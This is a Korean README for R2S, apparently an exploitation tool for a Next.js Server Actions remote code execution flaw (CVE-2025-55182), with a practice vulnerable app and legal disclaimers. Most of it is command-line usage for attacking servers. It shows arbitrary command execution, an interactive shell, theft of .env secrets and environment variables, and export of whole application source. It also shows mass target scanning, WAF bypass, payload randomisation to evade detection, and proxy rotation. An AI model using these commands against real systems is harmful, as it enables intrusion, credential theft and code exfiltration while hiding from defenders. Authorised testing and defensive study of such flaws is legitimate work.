
Next.js 애플리케이션의 CVE-2025-55182 취약점 평가를 위한 고급 보안 테스트 도구입니다. 대화형 셸, 배치 스캐닝, WAF 우회, 포괄적인 보고 기능을 제공합니다.
R2S (React2Shell) 는 보안 연구원, 개발자, 침투 테스터가 Next.js 애플리케이션이 CVE-2025-55182에 취약한지 평가할 수 있도록 설계된 보안 테스트 도구입니다.
CVE-2025-55182는 특정 버전(예: 16.0.5)의 Next.js Server Actions에 영향을 미치는 심각한 취약점입니다. 이 취약점을 통해 공격자는 부적절하게 보호된 Server Actions를 통해 서버에서 임의의 명령을 실행할 수 있으며, 이는 원격 코드 실행(RCE)으로 이어집니다.
R2S는 애플리케이션에 이 문제가 있는지 확인하는 데 도움을 주어, 악의적인 행위자가 발견하기 전에 수정할 수 있게 합니다.
--windows⚠️ 중요 경고: --windows 플래그를 잘못 사용하면 도구가 취약점을 제대로 판별하지 못할 수 있습니다.
--windows 사용 시기: 대상 서버가 Windows임을 100% 확신하는 경우에만 사용--windows를 사용하면 명령이 실패하고, 서버가 취약하더라도 도구가 "취약하지 않음"으로 보고할 수 있음--windows를 사용하지 마십시오예시:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
---
## ⚠️ 법적 고지
**중요: 이 도구를 사용하기 전에 반드시 읽으십시오**
1. **이 도구는 합법적인 보안 테스트용으로만 사용하십시오**
- ✅ 자신의 애플리케이션 테스트
- ✅ 서면 허가를 받은 애플리케이션 테스트
- ✅ 교육 목적 및 보안 연구
- ❌ **소유하지 않거나 테스트 허가가 없는 시스템에 절대 사용하지 마십시오**
- ❌ **악의적인 목적으로 절대 사용하지 마십시오**
2. **이 도구를 사용함으로써 다음에 동의하는 것으로 간주됩니다:**
- 소유하거나 명시적인 서면 허가를 받은 시스템에서만 사용할 것
- 무단 접근이 불법임을 이해할 것
- 자신의 행동에 대한 전적인 책임을 질 것
- 저자는 이 도구의 오용에 대해 책임을 지지 않습니다
3. **법적 결과:**
- 대부분의 국가에서 컴퓨터 시스템 무단 접근은 범죄입니다
- 형사 고발, 벌금, 구금될 수 있습니다
- 테스트 전에 항상 서면 허가를 받으십시오
4. **이 도구는 어떠한 종류의 보증 없이 "있는 그대로(AS IS)" 제공됩니다**
**만 18세 미만인 경우, 이 도구를 사용하기 전에 성인의 감독 및 허가를 받으십시오.**
---
## ✨ 기능
### 핵심 기능
- 🔍 **취약점 탐지** - 서버가 CVE-2025-55182에 취약한지 신속하게 테스트
- 💻 **대화형 셸** - HTTPS를 통한 완전한 대화형 셸 세션, 명령 기록 지원
- 📁 **파일 작업** - 디렉터리 목록, 파일 읽기, 파일/아카이브 내보내기
- 🔐 **비밀 정보 추출** - 애플리케이션 비밀 정보(.env 파일, 설정 파일) 읽기 시도
- 📄 **코드 추출** - 애플리케이션 소스 코드 읽기 시도
- 🖥️ **시스템 정보** - OS 정보, 호스트명, 사용자, 환경 변수 수집
### 고급 기능
- 🚀 **페이로드 자동 워밍** - 최상의 결과를 위해 페이로드를 자동 최적화
- ⚡ **병렬 실행** - 여러 명령을 동시에 실행
- 🎲 **페이로드 무작위화** - 동적 페이로드로 탐지 회피
- 🛠️ **익스플로잇 모듈** - Metasploit 스타일 모듈 시스템 (env_dump, file_search, network_scan, process_list)
- 🔄 **리디렉션 처리** - HTTP 리디렉션(301, 302, 303, 307, 308) 자동 추적
- 🎨 **아름다운 UI** - 읽기 쉬운 색상 코드 출력
- 📊 **포괄적 보고** - 작업별 포맷터를 사용해 JSON, HTML, TXT 형식으로 보고서 자동 저장
- ⚙️ **설정 시스템** - JSON 기반 설정 및 대화형 설정 패널
- 📦 **내보내기 기능** - 단일 파일 또는 전체 앱 디렉터리를 zip 아카이브로 내보내기
- 🔒 **WAF 우회** - 다양한 우회 기법 (⚠️ 보장되지 않음 - 아래 제한 사항 참고)
### 보고 및 로깅
- 📝 **자동 저장 보고서** - 사람이 읽을 수 있는 타임스탬프와 함께 `~/.r2s/reports/`에 보고서 자동 저장
- 📋 **작업별 형식** - 작업(셸, 테스트, 비밀 정보 등)에 따라 다양한 보고서 형식
- 📜 **명령 기록** - `~/.r2s/history`에 저장되는 영구 명령 기록
- 🔍 **감사 추적** - `~/.r2s/logs/audit.log`에 모든 작업의 상세 로깅
- 🎨 **HTML 보고서** - 다크/라이트 모드, 복사 버튼, 코드 블록을 지원하는 아름다운 HTML 보고서
---
## 📦 설치
### 옵션 1: 소스에서 빌드 (권장)
1. **저장소를 클론합니다:** ```bash
git clone https://github.com/zamdevio/r2s.git
cd r2s
pip install -r requirements.txt
python3 -m react2shell.main --help
r2s --help
---
## 🚀 빠른 시작
### 기본 취약점 테스트```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t
# With verbose output for more details
r2s -u http://localhost:3000 -t -v
⚠️ 중요: 대상이 Windows라고 확신하지 않는 한 --windows를 사용하지 마세요. Linux 서버에서 --windows를 사용하면 오탐(false negative)이 발생할 수 있습니다(도구가 취약한 서버라도 "취약하지 않음"으로 보고할 수 있음).
**https://r2s-arena.fly.dev**에서 안전한 테스트 환경을 제공합니다:```bash
r2s -u https://r2s-arena.fly.dev -t
### 로컬 테스트
취약한 앱을 로컬에서 실행하는 방법은 [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/main/nextjs/README.md)를 참조하세요.
---
## 📚 사용 예제
### 빠른 명령어 참조
**가장 일반적인 명령어:**
- `r2s -u URL -t` - 취약점 테스트 (가장 일반적)
- `r2s -u URL --shell` - 대화형 셸 시작
- `r2s --targets FILE -t` - 여러 대상 일괄 스캔
- `r2s -u URL --system-info` - 시스템 정보 확인
- `r2s -u URL --secrets` - 비밀 읽기 시도
- `r2s -u URL --export-archive` - 전체 앱을 zip으로 내보내기
**⚠️ 참고**: 대상이 Windows가 아닌 경우 `--windows`를 사용하지 마세요!
---
### 기본 작업```bash
# Test vulnerability
r2s -u http://localhost:3000 -t
# List directory contents
r2s -u http://localhost:3000 --list-dir /app
# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json
# Get system information
r2s -u http://localhost:3000 --system-info
# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"
r2s -u http://localhost:3000 --shell
### 악용 모듈```bash
# List available modules
r2s --list-modules
# Use a module
r2s -u http://localhost:3000 --module env_dump
# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"
# Get module information
r2s --module-info env_dump
r2s -u http://localhost:3000 --export src/app/page.tsx
r2s -u http://localhost:3000 --export-archive
r2s settings
### 비밀 및 코드 추출```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.
# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.
r2s --targets targets.txt -t
r2s --targets targets.txt --batch -t
r2s --targets targets.txt -t --rate 2
r2s --targets targets.txt -t --delay 1
r2s --targets targets.txt --batch -t --rate 1 --delay 2
### 고급 옵션```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"
# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass
# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm
# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize
# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote
# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0
# Disable SSL verification
r2s -u https://target.com -t --insecure
# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2
# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1
r2s -u http://localhost:3000 -t --proxy http://proxy.example.com:8080
r2s -u http://localhost:3000 -t --proxy http://user:[email protected]:8080
r2s -u http://localhost:3000 -t --proxy-file proxies.txt
r2s --targets targets.txt -t --proxy-file proxies.txt --rate 1
### 로깅 & 감사```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log
# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit
# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit
r2s settings
r2s cleanup
r2s uninstall
### 보고```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}
# Disable auto-save
r2s -u http://localhost:3000 -t --no-report
# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json
# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html
cd my-nextjs-app npm run dev
r2s -u http://localhost:3000 -t
### 2. 보안 감사```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive
안전한 로컬 테스트를 위해 제공된 nextjs 애플리케이션을 사용하세요:```bash
cd nextjs
npm install
npm run dev
r2s -u http://localhost:3000 -t
자세한 지침은 [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/main/nextjs/README.md)를 참조하세요.
---
## 🏗️ 아키텍처
R2S는 유지보수성과 확장성을 위해 모듈식 아키텍처를 사용합니다:```
react2shell/
├── main.py # Main entry point
├── classes/ # Core classes
│ ├── detector.py # Target detection
│ ├── executor.py # Command execution
│ ├── modules.py # Exploit modules system
│ ├── operations.py # High-level operations
│ ├── payload.py # Payload building and randomization
│ └── shell.py # Interactive shell
├── services/ # Services
│ ├── config.py # Configuration management (JSON)
│ ├── exporter.py # File and archive export
│ ├── formatters.py # Report formatters
│ ├── history.py # Command history
│ ├── logger.py # Logging and audit trails
│ ├── proxy.py # Proxy management
│ └── reporter.py # Report generation
└── utils/ # Utilities
├── colors.py # Color utilities
└── helpers.py # Helper functions
See react2shell/README.md에서 상세 아키텍처 문서를 확인하세요.
실제 시스템을 위험에 빠뜨리지 않고 도구를 테스트할 수 있는 nextjs라는 안전한 테스트 환경을 제공합니다.
이는 테스트 목적으로만 제공되는 공개적으로 접근 가능한 의도적으로 취약한 애플리케이션입니다.
로컬에서 실행하는 방법은 nextjs/README.md에서 확인하세요.
⚠️ 중요: nextjs 애플리케이션은 의도적으로 취약하게 설계되었으며, 프로덕션 환경이나 실제 데이터와 함께 절대 사용하면 안 됩니다.
| 명령어 | 설명 |
|---|---|
-u, --url URL | 대상 URL (대부분의 작업에 필수) |
-t, --test | 서버가 취약한지 테스트 |
-ld, --list-dir PATH | 디렉터리 내용 나열 |
-rf, --read-file FILE | 파일 내용 읽기 |
-si, --system-info | 시스템 정보 가져오기 |
-sr, --secrets | 비밀 정보 읽기 시도 |
-c, --code | 소스 코드 읽기 시도 |
-cmd, --command CMD | 사용자 지정 명령어 실행 |
--shell | 대화형 셸 시작 |
| 명령어 | 설명 |
|---|---|
--export FILE, --ex FILE | 대상에서 단일 파일 내보내기 (~/.r2s/exports/{domain}/에 저장) |
--export-archive | 전체 앱 디렉터리를 zip 아카이브로 내보내기. 서버에서 zip 생성 후 다운로드한 다음 서버에서 삭제. .gitignore 패턴 제외. ~/.r2s/exports/{domain}/r2s_export_TIMESTAMP.zip에 저장 |
| 명령어 | 설명 |
|---|---|
--module NAME | 익스플로잇 모듈 실행 |
--module-list, --list-modules | 사용 가능한 모듈 나열 |
--module-info NAME | 모듈 정보 표시 |
--set KEY=VALUE | 모듈 옵션 설정 |
| 옵션 | 설명 |
|---|---|
--waf-bypass | WAF 우회 기술 시도 (⚠️ 보장되지 않음 - 아래 제한 사항 참조) |
--waf-bypass-size KB | WAF 우회 정크 데이터 크기(KB) (기본값: 128) |
--vercel-waf-bypass | Vercel 특화 WAF 우회 기술 활성화 |
--header-strategy STRATEGY | HTTP 헤더 전략: default, chrome_latest, firefox, minimal, assetnote |
--parallel N | N개의 명령어를 병렬로 실행 (여러 명령어에 유용) |
--auto-warm | 실행 전 페이로드를 자동으로 워밍 및 최적화 |
--randomize | 정적 탐지를 회피하기 위해 페이로드 무작위화 |
--no-follow-redirects | HTTP 리디렉션(301, 302 등)을 자동으로 따라가지 않음 |
-k, --insecure | SSL 인증서 검증 비활성화 (주의해서 사용) |
--timeout SECONDS | 요청 타임아웃(초) (기본값: 10, 0은 타임아웃 없음) |
--windows | ⚠️ 경고: Unix/Linux 대신 Windows 명령어 사용. 대상이 실제로 Unix/Linux인 경우 도구가 취약점을 판단하지 못할 수 있음. 대상이 Windows임을 확신할 때만 사용하세요. |
--rate RATE | 초당 RATE 요청으로 제한 (배치 스캔에 유용) |
--delay SECONDS | 요청 간 지연 시간(초) 추가 (속도 제한 회피에 도움) |
--batch | 배치 모드: 모든 대화형 프롬프트 건너뛰기, 자동 계속 (자동화에 유용) |
| 옵션 | 설명 |
|---|---|
--output FILE, -o FILE | 결과를 특정 파일에 저장 (자동 저장 비활성화) |
--no-report | ~/.r2s/reports/ 자동 보고서 저장 비활성화 |
--log FILE | 모든 작업을 지정된 파일에 기록 (상세 작업 로그) |
--audit | 상세 감사 추적 생성 (~/.r2s/logs/audit.log에 저장) |
| 옵션 | 설명 |
|---|---|
--proxy URL | HTTP 프록시 사용 (형식: http://proxy:port 또는 http://user:pass@proxy:port) |
--proxy-file FILE | 파일에서 프록시 로드 및 순환 (한 줄에 하나의 프록시, 형식: http://proxy:port) |
--rate RATE | 초당 RATE 요청으로 제한 (대상 과부하 방지) |
--delay SECONDS | 요청 간 지연 시간(초) 추가 (속도 제한 회피에 도움) |
| 옵션 | 설명 |
|---|---|
--targets FILE | 파일에서 여러 대상 스캔 (한 줄에 하나의 URL, #으로 주석 지원) |
--batch | 배치 모드: 모든 대화형 프롬프트 건너뛰기, 자동 계속 (자동화/스크립트에 유용) |
| 명령어 | 설명 |
|---|---|
r2s settings | 대화형 설정 패널 열기 |
r2s cleanup | 모든 R2S 데이터(구성, 기록, 로그, 보고서, 내보내기) 삭제 |
r2s uninstall | R2S 바이너리 및 모든 데이터 제거 |
r2s help | 도움말 메시지 표시 |
r2s -u https://target.com -t --insecure
### "연결 오류"
- 서버가 실행 중인지 확인하세요
- URL이 올바른지 확인하세요
- 방화벽 설정을 확인하세요
- 타임아웃을 늘려보세요: `--timeout 30`
### "요청 차단"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass
# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox
⚠️ 중요: Windows 명령어 플래그
도구가 "취약하지 않음"이라고 표시하지만 실제로는 취약한 경우(오탐)가 발생한다면, 다음을 확인하세요:
--windows 플래그를 사용했나요?
--windows 플래그는 도구가 Windows 명령어(PowerShell, dir 등)를 사용하도록 합니다.--windows를 사용하면 도구가 실패합니다.--windows 플래그를 제거하세요(Unix/Linux가 기본값입니다).플랫폼 감지
--windows를 사용하세요.테스트 명령어
echo $((41*271))를 사용합니다.--windows를 사용하면 powershell -c "41*271"을 사용합니다.문제 예시:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
### WAF 우회 제한사항
**⚠️ 중요:** 이 도구의 WAF 우회 기술은 작동이 **보장되지 않으며** 여러 제한사항이 있습니다:
- **보편적이지 않음**: 각기 다른 WAF는 서로 다른 탐지 방법을 사용합니다. 하나에 적용되는 방법이 다른 WAF에는 적용되지 않을 수 있습니다.
- **정적 탐지**: 일부 WAF는 우회 가능한 정적 패턴 매칭을 사용하지만, 최신 WAF는 행동 분석을 사용합니다.
- **속도 제한**: 많은 WAF가 반복 시도를 차단할 수 있는 속도 제한을 구현합니다.
- **머신러닝**: 고급 WAF는 공격 패턴에 적응하고 학습하는 ML 모델을 사용합니다.
- **Cloudflare/AWS WAF**: 엔터프라이즈급 WAF(Cloudflare, AWS WAF 등)는 우회하기가 매우 어렵습니다.
- **보장 없음**: 우회 기술은 실험적이며 잘 구성된 WAF에 대해서는 실패할 수 있습니다.
**모범 사례:**
- WAF 우회는 최후의 수단으로 사용하세요
- 다른 헤더 전략(`--header-strategy`)을 시도하세요
- 더 나은 결과를 위해 `--randomize`를 결합하세요
- 일부 대상은 우회가 불가능할 수 있음을 이해하세요
- 항상 소유하거나 테스트 허가를 받은 시스템에서만 테스트하세요
### 빌드 문제```bash
# Make sure Python 3.7+ is installed
python3 --version
# Install dependencies
pip install -r requirements.txt
# Clean previous build artifacts
./build.sh cleanup
# Try building again
./build.sh
모든 빌드 아티팩트(빌드 디렉토리, 캐시 파일 등)를 안전하게 제거하려면:```bash ./build.sh cleanup
다음 항목이 제거됩니다:
- `build/` 디렉터리 (PyInstaller 빌드 파일)
- `dist/` 디렉터리 (컴파일된 바이너리)
- `__pycache__/` 디렉터리 (Python 캐시, 재귀적으로)
- `*.pyc` 파일 (컴파일된 Python 바이트코드)
- `*.pyo` 파일 (최적화된 Python 바이트코드)
- `*.spec` 파일 (PyInstaller 스펙 파일)
**참고:** 이 작업은 빌드 산출물만 제거하며, 소스 코드는 제거되지 않습니다. 정리는 안전하며 진행 전에 확인을 요청합니다.
---
## 📁 파일 구조```
r2s/
├── README.md # This file
├── LICENSE # MIT License
├── requirements.txt # Python dependencies
├── build.sh # Build script for standalone binary
├── r2s_entry.py # PyInstaller entry point
├── react2shell/ # Main package
│ ├── README.md # Architecture documentation
│ ├── main.py # Entry point
│ ├── classes/ # Core classes
│ ├── services/ # Services
│ └── utils/ # Utilities
└── nextjs/ # Testing environment
└── README.md # Testing environment documentation
기여를 환영합니다! 다음을 따라주세요:
기억하세요: 합법적인 보안 테스트에 도움이 되는 코드만 기여해 주세요.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
단, 이 도구의 사용은 위의 법적 면책 조항에 따릅니다. 이 도구를 사용한 무단 접근은 불법이며 이 라이선스의 적용을 받지 않습니다.
zamdevio
이 도구는 오직 보안 테스트 및 교육 목적으로만 사용됩니다.
합법적으로, 윤리적으로, 안전하게! 🛡️
보안 커뮤니티를 위해 ❤️로 제작되었습니다